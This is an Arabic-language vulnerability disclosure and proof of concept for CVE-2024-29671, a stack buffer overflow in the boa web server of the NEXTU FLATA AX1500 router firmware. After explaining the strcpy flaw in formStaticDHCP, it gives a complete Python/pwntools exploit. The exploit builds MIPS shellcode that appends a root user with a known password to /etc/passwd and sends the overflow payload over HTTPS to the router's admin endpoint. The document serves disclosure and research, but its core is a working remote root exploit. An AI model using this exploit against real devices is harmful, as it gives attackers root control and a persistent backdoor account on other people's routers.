
هذا هو POC لـ CVE-2024-29671
يصف هذا المستند كيفية استغلال الثغرة الأمنية CVE-2024-29671 في البرنامج الثابت لراوتر NEXTU FLATA AX1500.
يعتمد هذا الراوتر على بنية MIPS باستخدام مجموعة شرائح Realtek بنمط Little-Endian.
إصدار البرنامج الثابت للراوتر المستهدف هو v1.0.2.
يتضمن هذا البرنامج الثابت خادم ويب مدمج باسم "boa"، والذي صدر آخر مرة في عام 2005.
ومع ذلك، يستخدم هذا الراوتر خادم ويب boa لتقديم خدمة صفحة ويب إدارية تتحكم في البرنامج الثابت للراوتر.
الحالة الأمنية للملف الثنائي "boa" هي كما يلي:
شكل 1: نتيجة فحص checksec للملف الثنائي لخادم الويب boa
سبب تجاوز سعة المكدس (stack overflow) هو عدم إجراء التحقق من قيمة الطول عند نسخ محتويات معامل hostname باستخدام strcpy() داخل الدالة formStaticDHCP عند العنوان 0x00411c00. وذلك عندما يقوم معالج الطلبات بمعالجة طلبات النماذج في خادم الويب boa.
شكل 2: موقع حدوث تجاوز سعة المكدس
شكل 3: عرض ذاكرة المكدس قبل حدوث تجاوز السعة.
(الخط الأبيض هو منطقة عنوان RET)

شكل 4: عرض ذاكرة المكدس بعد حدوث تجاوز السعة.
كما ترى في عنوان المكدس 0x7ffef7dc، الذي يخزن عنوان RET الخاص بمعالج الطلبات، تم تجاوز سعته ببيانات قيمتها 0x42 ('B').
إذا أدخل المهاجم كود تنفيذ عن بُعد وأضاف عنوان الكتابة الفوقية في منطقة RET إلى قيمة معامل 'hostname' في طلب POST الموجه إلى /boafrm/formStaticDHCP، فإنه سيتم تنفيذ الكود التعسفي بصلاحيات الجذر.
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
تسبب هذه الثغرة حتمًا مشاكل في تنفيذ الأكواد عن بُعد (RCE) وحجب الخدمة (DOS).
2024-03-17: طلب رقم CVE
2024-03-22: تم تعيين رقم CVE - CVE-2024-29671
2024-03~ 2024-05: تم تسليم التقرير إلى الشركة
Ku In Hoe
الأستاذ المساعد Seonghoon Jeong (جامعة Sookmyung للنساء)